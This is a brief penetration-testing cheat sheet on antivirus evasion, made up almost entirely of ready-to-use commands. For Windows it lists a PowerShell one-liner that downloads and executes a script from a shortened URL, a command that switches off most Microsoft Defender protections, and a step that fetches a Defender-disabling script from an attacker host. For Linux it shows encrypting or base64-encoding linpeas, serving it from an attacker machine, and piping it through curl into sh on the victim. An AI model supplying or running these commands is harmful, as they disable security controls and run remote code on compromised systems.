Anti-Virus Evasion Techniques

Windows

  • Download and execute via Invoke expression: powershell -nop -c "iex(New-Object Net.WebClient).DownloadString('http://bit.ly/1kEgbuH')"
  • Get the installed AV Product: Get-CimInstance -Namespace root/SecurityCenter2 -ClassName AntivirusProduct
  • Disable AV: Set-MpPreference -DisableRealtimeMonitoring $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -DisableIOAVProtection $true -DisablePrivacyMode $true -SignatureDisableUpdateOnStartupWithoutEngine $true -DisableArchiveScanning $true -DisableIntrusionPreventionSystem $true -DisableScriptScanning $true -DisableRemovableDriveScanning $true -SubmitSamplesConsent 2 -MAPSReporting 0 -HighThreatDefaultAction 6 -Force -ModerateThreatDefaultAction 6 -LowThreatDefaultAction 6 -SevereThreatDefaultAction 6
  • If that doesn’t work use this script to disable Defender:
    • Warning! Will reboot the target!
    • disable-defender.ps1
    • Invoke-WebRequest -Uri http://{LHOST}:{LPORT}/disable-defender.ps1 -OutFile disable-defender.ps1
    • .\disable-defender.ps1 -Delete
  • Windows Command-Line Obfuscation
  • AMSI.fail

Linux

#open-ssl encryption
openssl enc -aes-256-cbc -pbkdf2 -salt -pass pass:AVBypassWithAES -in linpeas.sh -out lp.enc
sudo python -m SimpleHTTPServer 80 #Start HTTP server
curl 10.10.10.10/lp.enc | openssl enc -aes-256-cbc -pbkdf2 -d -pass pass:AVBypassWithAES | sh #Download from the victim

#Base64 encoded
base64 -w0 linpeas.sh > lp.enc
sudo python -m SimpleHTTPServer 80 #Start HTTP server
curl 10.10.10.10/lp.enc | base64 -d | sh #Download from the victim

To explore


Relevant Note(s): Antivirus Evasion